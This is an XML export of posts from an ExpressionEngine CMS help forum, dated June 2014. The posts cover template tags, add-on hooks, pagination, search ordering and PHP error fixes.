  <row Id="22425" PostTypeId="2" ParentId="22423" CreationDate="2014-06-04T13:13:28.573" Score="2" Body="&lt;p&gt;Yes, EE Core installs and runs exactly the same as the full version: &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/installation/installation.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/installation/installation.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-06-04T13:13:28.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22426" PostTypeId="1" CreationDate="2014-06-04T14:40:35.897" Score="0" ViewCount="41" Body="&lt;p&gt;The website I am working on at the moment in ExpressionEngine2 requires candidates to apply for a job which is listed on the website. As soon as they apply for the job, the website consultant needs to be notified via email that a candidate has applied for job X.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using a module to set up and send the email (wording, attachments, settings etc) and the email only contains one line to send the email (&lt;code&gt;$send = $this-&amp;gt;EE-&amp;gt;email-&amp;gt;Send();&lt;/code&gt;), but sometimes sends out a double email - the exact same one. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How could this be?&lt;/p&gt;&#xA;" OwnerUserId="3170" LastActivityDate="2014-06-09T07:59:07.930" Title="Email Sending Double" Tags="|ee2|email|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="22427" PostTypeId="1" AcceptedAnswerId="22433" CreationDate="2014-06-04T14:47:49.983" Score="2" ViewCount="346" Body="&lt;p&gt;With all of your help, I was able to port the live site to a development area and I thank you for all of your help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This morning, I updated some images and, after submitting the changes, I went to look on the front facing portion of the dev site. Only the page was coming up, like a page set to close status.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I went back into the entry &gt; Options &gt; and there is nothing to select - Open/Closed are not available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This was followed by going to Admin&gt; Channel Administration&gt; Status&gt; and both options are available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I went to check other entries that I did not update any images and Open/Close - the status was available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After which, I went into the db and ran this query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT *&#xA;FROM `exp_channel_titles`&#xA;WHERE STATUS = &quot;&quot;&#xA;LIMIT 0 , 30&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The result set matched the entries that I was having issues with, and I changed the entries to status of &quot;open&quot; and everything is working as it should, which leads to my question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would prevent the status from being written to the database? Is there a file that I missed setting the permissions to 666 or 777?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="3145" LastActivityDate="2014-06-04T16:08:37.537" Title="No ability to choose Open/Close status" Tags="|entries|status|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22428" PostTypeId="1" AcceptedAnswerId="23712" CreationDate="2014-06-04T15:06:04.650" Score="2" ViewCount="311" Body="&lt;p&gt;I am very new to EE2 and using Expresso Store in one of my websites in EE2 and need to use this hook when the order has completed and payment has been made successfully. The code I need to call is this: &lt;code&gt;ee()-&amp;gt;extensions-&amp;gt;call('store_order_complete_end', $order);&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I would like to ask is what do I parse to the $data parameter?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When this hook runs, I need to call a function that generates a coupon code and add this code to the database, but what is the &lt;code&gt;$order&lt;/code&gt; parameter in this piece of code and where exactly in the project would I call this piece of code?&lt;/p&gt;&#xA;" OwnerUserId="3170" LastEditorUserId="3170" LastEditDate="2014-06-17T08:06:17.230" LastActivityDate="2014-06-17T08:06:17.230" Title="Expresso Store Hook store_order_complete_end" Tags="|expresso-store|ee2|extension|hook|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22429" PostTypeId="1" CreationDate="2014-06-04T15:11:58.797" Score="0" ViewCount="88" Body="&lt;p&gt;After updating to the latest versions of the Assets extension for Expression Engine. When I am logged in as a Super Admin I get the following PHP error, I don't get this error when logged in as a different user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A PHP Error was encountered&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Severity: Notice&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Message: Undefined offset: 0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Filename: libraries/Assets_lib.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Line Number: 814&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is caused by this following line of code in the Library file (line 814):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;if (!(count($full_folder_list) == 1 &amp;amp;&amp;amp; $full_folder_list[0] ==&#xA;  &quot;:any:&quot;))&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Is there a fix for this line, I am not sure what:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;$full_folder_list[0] == &quot;:any:&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;means but this is the part that causing the error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I am looking for a fix for this?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using Expression Engine 2.7.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assets Version 2.3.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PHP Version 5.3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="3183" LastActivityDate="2014-06-04T17:00:53.290" Title="Assets 2.3.2 Lib file - Causes PHP error" Tags="|assets|pixelandtonic|php|php-errors|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22430" PostTypeId="2" ParentId="22418" CreationDate="2014-06-04T15:17:26.817" Score="0" Body="&lt;p&gt;If a variable is dependent on an entries loop, you definitely have to run that loop first to get the results. From there, it's up to you whether you set the variable with something like &lt;a href=&quot;http://devot-ee.com/add-ons/stash&quot; rel=&quot;nofollow noreferrer&quot;&gt;stash&lt;/a&gt; or raw PHP. A good PHP example is &lt;a href=&quot;https://stackoverflow.com/questions/7549372/set-a-custom-template-variable-in-expressionengine&quot;&gt;available on Stack Overflow&lt;/a&gt;. Just make sure you have your template's PHP Parsing Stage set to &quot;Output&quot;.&lt;/p&gt;&#xA;" OwnerUserId="489" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2014-06-04T15:17:26.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22432" PostTypeId="2" ParentId="22422" CreationDate="2014-06-04T15:23:31.440" Score="1" Body="&lt;p&gt;The line of HTML you show has a } character at the end of the file name. Do you have an extra closing } in your template code?&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-06-04T15:23:31.440" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22433" PostTypeId="2" ParentId="22427" CreationDate="2014-06-04T16:08:37.537" Score="2" Body="&lt;p&gt;This is most likely caused because a &quot;Status Group&quot; isn't selected for the channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To check this, go to &lt;code&gt;Admin &amp;gt; Channel Administration &amp;gt; Channels&lt;/code&gt;, then click on &quot;Edit Group Assignments&quot; for the channel having the issues. Your channel probably has &quot;None&quot; set for the &quot;Status Groups&quot;. Change that to &quot;Default Status Group&quot; and click the Update button.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2014-06-04T16:08:37.537" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="22434" PostTypeId="2" ParentId="22413" CreationDate="2014-06-04T16:41:14.360" Score="1" Body="&lt;p&gt;This is a use for the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/pagination.html&quot; rel=&quot;nofollow&quot;&gt;paginate parameter&lt;/a&gt; on the channel:entries tag&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a very simple example...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;... start the table ...&#xA;{exp:channel:entries channel=&quot;foo&quot; paginate=&quot;bottom&quot; limit=&quot;20&quot;}&#xA;    &amp;lt;tr&amp;gt;&#xA;        &amp;lt;td&amp;gt;{title}&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;{another_field}&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;{yet_another_field}&amp;lt;/td&#xA;    &amp;lt;/tr&amp;gt;&#xA;    {paginate}&#xA;        &amp;lt;p&amp;gt;Page {current_page} of {total_pages} pages {pagination_links}&amp;lt;/p&amp;gt;&#xA;    {/paginate}&#xA;{/exp:channel:entries}&#xA;... close the table ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;EE will show a maximum of 20 rows and handle all the pagination for you&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: From re-reading the question I see that you would be showing more than 1 entry per &quot;row&quot;. Hence the answer referencing the modulus calculations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another way you might want to do it is to forgo the table completely (is a table the most appropriate element?) and use another HTML element that you can float across the page.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-06-04T16:41:14.360" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22435" PostTypeId="5" CreationDate="2014-06-04T16:45:08.397" Score="0" Body="&lt;p&gt;&lt;strong&gt;Entry Type&lt;/strong&gt; is a dropdown fieldtype by Rob Sanchez, that shows/hides other fields on the publish page, depending on the entry’s status, Pages/Structure template, or Structure page depth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/entry-type&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://devot-ee.com/add-ons/entry-type&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="155" LastEditorUserId="7705" LastEditDate="2018-10-15T13:05:05.430" LastActivityDate="2018-10-15T13:05:05.430" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22436" PostTypeId="4" CreationDate="2014-06-04T16:45:08.397" Score="0" Body="'Entry Type' is a dropdown fieldtype by Rob Sanchez, that shows/hides fields on the publish page, depending on the entry’s status, Pages/Structure template." OwnerUserId="69" LastEditorUserId="7705" LastEditDate="2018-10-15T13:05:11.997" LastActivityDate="2018-10-15T13:05:11.997" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22437" PostTypeId="2" ParentId="22429" CreationDate="2014-06-04T16:56:07.377" Score="0" Body="&lt;p&gt;They sent me this on email support:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;If you could just replace line 814 in Assets_lib.php file with &quot;if (!(count($full_folder_list) == 1 &amp;amp;&amp;amp; reset($full_folder_list) == &quot;:any:&quot;))&quot; you should be fine :)&quot;&lt;/p&gt;&#xA;" OwnerDisplayName="user3185" LastActivityDate="2014-06-04T16:56:07.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22438" PostTypeId="2" ParentId="22429" CreationDate="2014-06-04T17:00:53.290" Score="3" Body="&lt;p&gt;Ugh, wasn't logged in properly....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They sent me this on email support:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;If you could just replace line 814 in Assets_lib.php file with&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (!(count($full_folder_list) == 1 &amp;amp;&amp;amp; reset($full_folder_list) == &quot;:any:&quot;))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;you should be fine :)&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="843" LastActivityDate="2014-06-04T17:00:53.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22439" PostTypeId="2" ParentId="21629" CreationDate="2014-06-04T18:42:05.930" Score="0" Body="&lt;p&gt;I just finished dealing with a similar issue... make sure you upgrade Zoo Flexible Admin to the latest version (v1.82+)&lt;/p&gt;&#xA;" OwnerUserId="40" LastActivityDate="2014-06-04T18:42:05.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22440" PostTypeId="1" CreationDate="2014-06-04T19:16:52.020" Score="2" ViewCount="106" Body="&lt;p&gt;I am updating the Link Vault add-on to paginate the report results in the control panel. For some reason, the link generated for the page 1 link always leaves off the defined suffix of query string parameters. Has anyone experienced this before? How do I fix it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I verified that the $query_string_suffix variable is populated correctly. It must be since all the other pagination links are fine. It is just the page 1 or &quot;first&quot; link that is wrong. Why would all the others be fine?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Setup the pagination links&#xA;$page_config = array(&#xA;    'base_url'          =&amp;gt; $this-&amp;gt;base_url.AMP.'method=reports',&#xA;    'total_rows'        =&amp;gt; count($complete_report_data),&#xA;    'per_page'          =&amp;gt; $data['limit'],&#xA;    'page_query_string' =&amp;gt; true,&#xA;    'suffix'            =&amp;gt; $query_string_suffix&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Edit: I found &lt;a href=&quot;https://support.ellislab.com/bugs/detail/19272&quot; rel=&quot;nofollow&quot;&gt;this bug report&lt;/a&gt; from EE 2.5.5 but the known solution doesn't seem to describe code that is still located in the Pagination library.&lt;/p&gt;&#xA;" OwnerUserId="365" LastEditorUserId="365" LastEditDate="2014-06-04T20:15:16.247" LastActivityDate="2016-06-06T06:58:55.447" Title="Pagination Library on an Add-on Control Panel Page" Tags="|control-panel|pagination|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22441" PostTypeId="1" CreationDate="2014-06-04T19:42:48.380" Score="2" ViewCount="66" Body="&lt;p&gt;Is there any way to add a template tag or hidden input and force free shipping for all the items that use a template? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The site I'm working on sells some physical products, but also has a &quot;classes&quot; section.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to simplify the class creation process for my clients. It would also help them avoid errors if they miss the checkbox. &lt;/p&gt;&#xA;" OwnerUserId="3002" LastActivityDate="2014-06-10T08:14:46.627" Title="Force &quot;free-shipping&quot; inside a product tag." Tags="|expresso-store|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22442" PostTypeId="1" CreationDate="2014-06-04T22:06:20.477" Score="0" ViewCount="109" Body="&lt;p&gt;I have a channel that displays artist information and they have an option to list their top three disciplines. Each discipline is listed in a separate field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example an artist could indicate the following disciplines:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Photography&lt;/li&gt;&#xA;&lt;li&gt;Painting&lt;/li&gt;&#xA;&lt;li&gt;Pottery&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Related to this I have a page for each discipline to show the artists which have selected that discipline. Currently I have it set to filter entries as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;search:first_discipline=&quot;photography&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The only problem here is that it doesn't show those artists that may have selected photography as their second or third discipline.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried combining multiple fields in the search parameter like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;search:first_discipline|second_discipline|third_discipline=&quot;photography&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That appears to cancel out the filtering and brings back all entries. Is there a way to search all three fields?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="258" LastActivityDate="2016-05-15T10:11:55.703" Title="How do I include three fields using search:?" Tags="|channel-entries|parameters|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22443" PostTypeId="2" ParentId="22440" CreationDate="2014-06-04T22:20:37.583" Score="0" Body="&lt;p&gt;Don't add the module?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$base_url = 'C=addons_modules' . AMP . 'M=show_module_cp' . AMP . 'module=scheduled_trigger';&#xA;$root_url = BASE . AMP . $base_url;&#xA;$method_url = $root_url . AMP . 'method=';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Copied from &lt;a href=&quot;https://github.com/caddis/scheduled-trigger/blob/master/system/expressionengine/third_party/scheduled_trigger/ext.scheduled_trigger.php&quot; rel=&quot;nofollow&quot;&gt;Scheduled trigger, settings form&lt;/a&gt; the syntax changed slightly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: see also module tutorial, pagination is mentioned&lt;br&gt;&#xA;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/module_tutorial.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/development/module_tutorial.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note to self: control panel links can/should be made with cp_url() (EE 2.8+)&lt;br&gt;&#xA;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/cp_styles/index.html#cp-internal-links&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/development/cp_styles/index.html#cp-internal-links&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="155" LastEditorUserId="155" LastEditDate="2014-06-04T22:31:05.263" LastActivityDate="2014-06-04T22:31:05.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22444" PostTypeId="1" AcceptedAnswerId="23604" CreationDate="2014-06-04T23:00:13.250" Score="1" ViewCount="140" Body="&lt;p&gt;When attempting to Register on a site, the user is getting the following error on submission of the Registration form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;The form you submitted contained the following errors:&#xA;Decryption of form settings failed.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This error occurs on a Production server after a recent move and was working on a previous server. It IS working on a local dev instance, just not on production. Running EE 2.5.5, MSM 2.1.5, Profile:Edit 1.1.1 which has all the patches mentioned in the MBR forums (&lt;a href=&quot;https://mightybigrobot.com/forums/viewthread/9721/&quot; rel=&quot;nofollow&quot;&gt;https://mightybigrobot.com/forums/viewthread/9721/&lt;/a&gt;). Would appreciate any assistance as you can image it's a royal pain in the butt.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&#xA;Brendan&lt;/p&gt;&#xA;" OwnerUserId="347" LastActivityDate="2014-06-10T23:54:52.823" Title="Profile:Edit Registration returning error 'Decryption of form settings failed.'" Tags="|profile-edit|mightybigrobot|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22445" PostTypeId="1" CreationDate="2014-06-04T23:33:34.820" Score="1" ViewCount="676" Body="&lt;p&gt;I am using a simple:search form in the site footer to search specific channels and display results in search/results, but have not successfully been able to organize them per channel as of yet. Here is my search form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:search:simple_form channel=&quot;careers|leadership|news|product_entries|partner_entries|video|case_studies&quot; search_in=&quot;entries&quot; where=&quot;all&quot; name=&quot;footer_search&quot; result_page=&quot;search/results&quot; no_result_page=&quot;search/no-results&quot; status=&quot;not closed&quot;}&#xA;        &amp;lt;input type=&quot;text&quot; name=&quot;keywords&quot; value=&quot;KEYWORDS&quot; onclick=&quot;this.select()&quot; id=&quot;search&quot; /&amp;gt;&#xA;        &amp;lt;input type=&quot;submit&quot; class=&quot;button&quot; value=&quot;Search &amp;amp;raquo;&quot; /&amp;gt;&#xA;{/exp:search:simple_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is my results code in search/results:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;section&amp;gt;&#xA;        {exp:search:search_results orderby=&quot;channel_short_name&quot; sort=&quot;asc&quot;}             &#xA;            &amp;lt;h4&amp;gt;{if &quot;{channel_short_name}&quot; == &quot;news&quot;}News &amp;amp; Press{if:else}{channel}{/if}&amp;lt;/h4&amp;gt;&#xA;            &amp;lt;p&amp;gt;&amp;lt;a href=&quot;{if page_url}{page_url}{if:else}{auto_path}{/if}&quot;&amp;gt;{title}&amp;amp;nbsp;&amp;amp;raquo;&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;        {/exp:search:search_results}&#xA;&amp;lt;/section&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This produces results that don't actually order by the channel name, because partner_entries and products will randomly display in the middle of a chunk of news results. This was the only way of ordering search results that I could find, and would like to be able to produce an organized outcome similar to the following example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Results for {exp:search:keywords}:&#xA;&#xA;News &amp;amp; Press&#xA;------------&#xA;- {title}&#xA;- {title}&#xA;- {title}&#xA;- {title}&#xA;- {title}&#xA;&#xA;Products&#xA;--------&#xA;- {title}&#xA;- {title}&#xA;- {title}&#xA;- {title}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1693" LastActivityDate="2014-06-04T23:41:59.050" Title="How do I order simple:Search results by channel?" Tags="|channel|search|simple-search|orderby|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22446" PostTypeId="2" ParentId="22445" CreationDate="2014-06-04T23:41:59.050" Score="1" Body="&lt;p&gt;The short answer is that you cannot sort by channel natively.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The long answer is that native search result ordering is determined by the search form itself so that the sorting can be done by the database when the search takes place. If an &lt;code&gt;orderby&lt;/code&gt; field is present in the POST data, the sort can be customized with the following options:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;orderby&quot;&amp;gt;&#xA;    &amp;lt;option value=&quot;date&quot; &amp;gt;Entry Date&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;title&quot; &amp;gt;Title&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;most_comments&quot; &amp;gt;Most Comments&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;recent_comment&quot; &amp;gt;Most Recent Comment&amp;lt;/option&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can set the order ascending or descending by including a &lt;code&gt;sort_order&lt;/code&gt; input field set to the value of &lt;code&gt;asc&lt;/code&gt; for ascending or &lt;code&gt;desc&lt;/code&gt; for descending order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that either of these can be set with hidden inputs if you like, but again, &lt;code&gt;channel_short_name&lt;/code&gt; isn't an available sorting option (current as of v2.8.1).&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2014-06-04T23:41:59.050" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22447" PostTypeId="2" ParentId="22404" CreationDate="2014-06-05T02:51:56.947" Score="0" Body="&lt;p&gt;I'm not sure  why it wouldn't work but rather then delve into the GW code I'd simply use a conditional to remove the categories that aren't required. Should allow you to move on at least :)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;  channel=&quot;products_beds&quot;&#xA;  disable=&quot;categories|member_data|category_fields|pagination&quot;&#xA;  url_title=&quot;{segment_4}&quot;&#xA;  sort=&quot;asc&quot; dynamic=&quot;yes&quot;&#xA;}&#xA;    {exp:gwcode_categories entry_id=&quot;{entry_id}&quot; style=&quot;linear&quot;} //Should work without channel= tag&#xA;        {exp:switchee variable=&quot;{cat_id}&quot; parse=&quot;inward&quot;}&#xA;          {case value=&quot;4&quot;}&#xA;            //Do nothing&#xA;          {/case}&#xA;          {case default=&quot;yes&quot;}&#xA;            //Do something&#xA;          {/case}&#xA;        {/exp:switchee}&#xA;    {/exp:gwcode_categories}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="166" LastActivityDate="2014-06-05T02:51:56.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22448" PostTypeId="1" CreationDate="2014-06-05T06:37:51.810" Score="4" ViewCount="367" Body="&lt;p&gt;I looked at the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/api/api_channel_entries.html&quot; rel=&quot;nofollow&quot;&gt;documentation&lt;/a&gt; in ExpressionEngine about saving/updating a channel entry row.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, the documentation doesn't show anything about adding a new Grid row.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to do this? If so, how?&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2020-09-08T14:04:00.410" Title="Inserting a new Grid row using the API" Tags="|grid|api|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22449" PostTypeId="1" AcceptedAnswerId="26273" CreationDate="2014-06-05T07:36:33.317" Score="1" ViewCount="218" Body="&lt;p&gt;My logout and other ACT urls all seem to have a lot of backslashes in the URL&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using the module shortlist and when clicking add it takes you to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://eogee.rmdyapps.co.uk/////////?ACT=39&amp;amp;p=YToyOntzOjg6ImVudHJ5X2lkIjtzOjM6IjgzNiI7czoxMToiY2xvbmVkX2Zyb20iO2I6MDt9&amp;amp;ret=http%3A%2F%2Feogee.rmdyapps.co.uk%2Fwhat-we-do%2Fsustainability%2Fsigns-tool%2Fafirm-apparel-and-footwear-international-rsl-management&quot; rel=&quot;nofollow&quot;&gt;http://eogee.rmdyapps.co.uk/////////?ACT=39&amp;amp;p=YToyOntzOjg6ImVudHJ5X2lkIjtzOjM6IjgzNiI7czoxMToiY2xvbmVkX2Zyb20iO2I6MDt9&amp;amp;ret=http%3A%2F%2Feogee.rmdyapps.co.uk%2Fwhat-we-do%2Fsustainability%2Fsigns-tool%2Fafirm-apparel-and-footwear-international-rsl-management&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This then shows the error &quot;The URI you submitted has disallowed characters.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My logout URL is also showing as:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://eogee.rmdyapps.co.uk/////////?ACT=16&amp;amp;csrf_token=e836df2db8ce7415437de6a9ddb938e613d12aa8&quot; rel=&quot;nofollow&quot;&gt;http://eogee.rmdyapps.co.uk/////////?ACT=16&amp;amp;csrf_token=e836df2db8ce7415437de6a9ddb938e613d12aa8&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea as to why it's adding in these additional backslashes? seems to be causing all sorts of issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1014" LastActivityDate="2014-10-20T17:46:25.140" Title="ACT urls have lots of backslashes - &quot;The URI you submitted has disallowed characters.&quot;" Tags="|url|act|shortlist|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22450" PostTypeId="1" AcceptedAnswerId="22452" CreationDate="2014-06-05T08:01:22.603" Score="1" ViewCount="790" Body="&lt;p&gt;One of my pages in a website is a simple form to redeem a coupon (update the status of the coupon in the database). My update function exists in my own custom extension and I have added the id, class and function to the exp_actions table in the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I have to use &lt;code&gt;$action_id = ee()-&amp;gt;functions-&amp;gt;fetch_action_id('Lb_cart_ext', 'redeem_coupon');&lt;/code&gt; to retrieve the action id from the database and &lt;code&gt;{AID:Lb_cart_ext:redeem_coupon}&lt;/code&gt; in the front end to use the action id in a link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where do I use/call the &lt;code&gt;$action_id = ee()-&amp;gt;functions-&amp;gt;fetch_action_id('Lb_cart_ext', 'redeem_coupon');&lt;/code&gt; line?&lt;/p&gt;&#xA;" OwnerUserId="3170" LastEditorUserId="3170" LastEditDate="2014-06-05T08:18:33.633" LastActivityDate="2014-06-05T09:18:06.263" Title="EE2 Use Of Action ID's" Tags="|ee2|extension|act|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
